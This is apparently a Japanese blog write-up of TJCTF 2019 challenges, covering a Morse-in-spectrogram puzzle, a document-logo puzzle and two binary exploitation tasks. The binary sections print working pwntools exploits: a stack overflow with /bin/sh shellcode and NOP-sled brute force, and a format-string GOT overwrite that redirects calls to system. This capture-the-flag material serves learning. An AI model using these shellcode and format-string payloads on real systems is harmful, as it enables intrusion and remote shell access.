高周波数のところにフラグが隠されているらしいのでaudacityに入れて波形を確認していきます。
スペクトログラムで表示すると高周波数域にちょんちょんと音があることがわかります。実はこれがモールス信号になっていて、復号すると文章になりました。
f:id:mi__tsu:20190410210848p:plain
WOW!WHATATROLL,AMIRIGHT?WELL,ENOUGHOFTHAT,HERE'STHEFLAG:TJCTF{MYVOICEISGROWINGMORSE}
tjctf{myvoiceisgrowingmorse}

[Forensics 80pts] BC Calc

--
This file was found in Evan Shi's 60 gb homework folder. What could he be up to? Figure out what the images mean in order to find out.
notAnime
note: all letters in the flag are lowercase
--
__ logos.odt __

ワードパッドなどのソフトで開けます。
f:id:mi__tsu:20190410210630p:plain
赤丸で囲んだ部分に小さな"{"と"}"の画像になっています。ロゴに書かれたアルファベットをそのまま文字に起こしてみるとフラグになりました。
tjctf{knowurfiles}

[Binary 80pts] Silly Sledshop

--
Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.
Lesson: nothing stops Omkar.
He will go sledding whenever and wherever he wants.
nc p1.tjctf.org 8010
--
__ sledshop __
__ sledshop.c __

ソースファイルと32bitのELFが渡されます。実行してみるとメニューが表示されますが、色々入力してもまた来てねみたいに言われてしまいます。
実はメニューの入力時にバッファオーバーフロー脆弱性があり、これで任意アドレスに飛ばすことができます。
checksecしてみるとNXビットが立ってなかったのでシェルコードで/bin/shを実行するようにします。おそらくASLRが機能していると思われるので、32bitで有ることをいいことにNOPスレッドを使ったブルートフォースをやっていきます。
コードどぺー

from pwn import *
from subprocess import Popen

offset = 80

buf_addr = 0xffffd84c + 100
 
nopsize = 0x700
shellcode = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80" 

payload = "A" * offset + p32(buf_addr) + "\x90" * nopsize + shellcode

cnt = 0
while True:
    cnt += 1
    log.info(cnt)
    r = remote("p1.tjctf.org", 8010)

    #r = process("./a.out")

    print r.recv(0x100)
    r.sendline(payload)
    r.interactive()

3000回くらいでシェルが奪えました。フラグは忘れました

[Binary 120pts] Printf Polyglot

--
Security Consultants Inc. just developed a new portal! We managed to get a hold of the source code, and it doesn't look like their developers know what they're doing.
nc p1.tjctf.org 8003
--
__ printf_polyglot __
__ printf_polyglot.c __

FSAでGOToverwriteができる。printf_gotなどに0x00が含まれているためFSAがやりにくい。
GOTを書き換えて任意のアドレスに飛ばすまではできたが、その後どうすればいいかわからなかった。printfをsystemに変えてみてemalの内容をsystemで実行しようと思ったがどうにもエラーが出てうまく行かなかった。
強い人に聞いたところ、strcmpをsystemに書き換えてview_teamに飛ばせばいいらしい。非常に悔しい。
コードどぺー

from pwn import *
from libformatstr import FormatStr
import struct

#context(os='linux', arch='amd64')

offset = 24

printf_got = 0x602048
strcmp_got = 0x602058

view_team_103 = 0x4009fa
system_plt = 0x004006e0

#r = process("./printf_polyglot")
r = remote("p1.tjctf.org", 8003)

print r.recv(0x100)

r.sendline("1")
r.sendline("a")
print r.recv(0x100)

r.sendline("3")

print r.recv(0x100)

# printf_got <- system_plt

#payload = fmtstr_payload(offset, {printf_got:system_plt}, write_size="int")
payload = "aaaaaaaaaa"
payload += "%240c%40$hhn%15c%41$hhn%55c%42$hhn%192c%43$hhn%44$hhn%45$hhn%46$hhn%47$hhn%1248c%48$hn%63840c%49$hn%65472c%50$hn%51$hn" 
for i in range(8):
    payload += struct.pack("Q", printf_got + i)
for i in range(4):
    payload += struct.pack("Q", strcmp_got + 2 * i)

r.sendline(payload)

r.sendline("/bin/sh")
r.interactive()

馬鹿なのでペイロードの自動生成は書かなかった。

[Binary 140pts] Death Delivery

--
I've created a service (source) to help automate my holy work with the Death Note. Help me by reporting the names of those who have sinned. Help yourself stay on the side of the living.
nc p1.tjctf.org 8011
--
__ death_delivery __
__ death_delivery.c __

REDACTEDを入れたらフラグが出たらしい。くやしいいい。

最後に

振り返ってみると高得点なんも通せてないな???という印象が強かったです。あとこういった長いCTFは結構時間配分が大事だなというのも強く思いました。
一日目から四日間ほどはほとんど寝ないでCTFやって学校行ってだったので体調がすごいことになり、最終日に関してはおえーでした。ばか。
最期に、TJCTFに参加された方々お疲れさまでした。